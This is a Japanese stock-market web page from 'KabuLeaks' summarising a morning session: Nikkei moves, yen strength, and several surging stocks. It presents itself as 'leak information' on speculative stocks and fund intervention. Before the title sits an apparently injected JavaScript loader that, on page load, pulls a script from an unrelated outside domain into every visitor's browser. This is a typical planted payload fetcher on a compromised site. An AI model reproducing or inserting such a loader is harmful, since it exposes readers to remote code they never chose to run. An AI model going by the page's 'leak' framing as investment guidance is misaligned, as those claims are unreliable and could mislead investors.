;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【2/2 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【2/2 前引け】

前場の日経平均株価は94円安。先週末、米10~12月期GDP速報値が市場予想を下回ったことなどを背景に米株が下落。また、為替相場も円高に傾いていることも影響し、日経平均は売り優勢スタート。一時は節目とされる1万7500円付近の水準を下回る場面もあったが、売り一巡後は下げ幅縮小する展開となっている。

物色は決算シーズンの流れから引き続き決算発表見極めからの動きがメインに。個別では犯罪予兆検知システムを開発した【2158】UBICが急伸ストップ高となったほか、第3四半期の決算がポジティブサプライズとなった【6988】日東電工が年初来高値更新。また、先週から強い動きが目立っていた【3815】メディア工房、【3823】アクロディア、【8462】フューチャーベンチャーキャピタルなど引き続き強い動きに。

日経平均株価が一時200円を超える下げるも、日銀によるETF買い期待のほか、為替が円安方向に振れたことで押し目買い意欲が強まる。休み明けは日銀によるETF回傾向が強く引き続き戻りを試す展開が期待されている。